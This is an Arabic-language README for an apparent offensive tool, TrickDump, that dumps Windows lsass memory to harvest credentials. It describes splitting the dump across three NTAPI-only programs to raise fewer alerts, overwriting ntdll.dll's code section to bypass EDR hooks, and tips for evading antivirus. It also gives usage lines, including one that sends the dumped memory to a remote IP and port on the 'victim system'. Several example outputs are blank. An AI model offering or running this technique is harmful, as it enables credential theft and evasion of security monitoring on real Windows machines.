
تفريغ lsass باستخدام دوال NTAPI فقط مع إنشاء 3 ملفات JSON وملف ZIP واحد... وإنشاء ملف MiniDump لاحقًا!
يقوم TrickDump بتفريغ عملية lsass دون إنشاء ملف Minidump، ليُنتج بدلاً من ذلك 3 ملفات JSON وملف ZIP واحد مع تفريغ مناطق الذاكرة. وذلك في ثلاث خطوات:
Lock: الحصول على معلومات نظام التشغيل باستخدام RtlGetVersion.
Shock: الحصول على صلاحية SeDebugPrivilege باستخدام NtOpenProcessToken وNtAdjustPrivilegeToken، فتح مقبض باستخدام NtGetNextProcess وNtQueryInformationProcess، ثم الحصول على معلومات الوحدات باستخدام NtQueryInformationProcess وNtReadVirtualMemory.
Barrel: الحصول على صلاحية SeDebugPrivilege، فتح مقبض ثم الحصول على المعلومات وتفريغ مناطق الذاكرة باستخدام NtQueryVirtualMemory وNtReadVirtualMemory.

في نظام الهجوم، استخدم البرنامج النصي create_dump.py لإنشاء ملف Minidump:
python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE]
فوائد هذه التقنية هي:
لا يوجد مطلقاً ملف Minidump صالح على القرص، في الذاكرة، أو في حركة المرور الشبكية.
لا يوجد برنامج أو عملية واحدة تنفذ الهجوم بالكامل، بل ثلاث عمليات منفصلة، مما قد يثير عدداً أقل من العلامات.
تستخدم البرامج فقط NTAPIS (هذا المشروع هو نسخة مختلفة من NativeDump).
لا تستخدم OpenProcess أو NtOpenProcess للحصول على مقبض عملية lsass مع حقوق الوصول PROCESS_VM_OPERATION وPROCESS_VM_WRITE.
يسمح كل برنامج بالكتابة فوق قسم .text من مكتبة ntdll.dll لتجاوز ربط API:
disk: باستخدام DLL موجود بالفعل على القرص. إذا لم يُستخدم وسيط ثانٍ، يكون المسار C:\Windows\System32\ntdll.dll.knowndlls: باستخدام مجلد KnownDlls.debugproc: باستخدام عملية تم إنشاؤها في وضع التصحيح. إذا لم يُستخدم وسيط ثانٍ، تكون العملية .وهو متوفر بلغات مختلفة:
لن يعمل إذا كان PPL ممكّناً، أو إذا كانت بنية PEB غير قابلة للقراءة، أو إذا لم يتم تجميع البرامج النصية كـ 64-bit. تحديث: أصبح الآن من الممكن تنفيذ البرامج دون قراءة PEB، راجع فرع peb-unreadable :)
تعمل هذه التقنية بشكل جيد على أحدث إصدارات Windows، وقد تم اختبارها ضد حلول AV و EDR الشائعة، ولكن مستوى التخفي يعتمد على "النكهة" التي تختارها: استخدم لغات غير شائعة وقم بتخصيص البرامج الثنائية للحصول على أفضل النتائج!
يتم تنفيذ البرامج في النظام الضحية، مما يُنشئ ثلاثة ملفات JSON (بمعلومات مناطق الذاكرة) وملف zip واحد (مع كل تفريغ لمنطقة الذاكرة).
Lock.exe [disk/knowndlls/debugproc]
Shock.exe [disk/knowndlls/debugproc]
Barrel.exe [disk/knowndlls/debugproc]
يمكنك تنفيذ البرامج مباشرة دون الكتابة فوق مكتبة ntdll.dll:

أو استخدام إحدى تقنيات الكتابة فوق الثلاث المختلفة:

ثم يتم إنشاء ملف Minidump:

إذا كنت تفضل تنفيذ ملف ثنائي واحد فقط، فإن Trick.exe يُنشئ ملف ZIP يحتوي على ملفات JSON الثلاثة وملف ZIP مع مناطق الذاكرة:
Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]
يمكنك إنشاء ملف ZIP محلياً، مع استخدام طريقة الكتابة فوق Ntdll اختيارياً:

أو إرساله إلى منفذ بعيد باستخدام الوسيطين الثاني والثالث كعنوان IP والمنفذ:

في كلتا الحالتين تحصل على ملف ZIP كهذا، قم بفك ضغطه وأنشئ ملف Minidump:

c:\windows\system32\calc.exe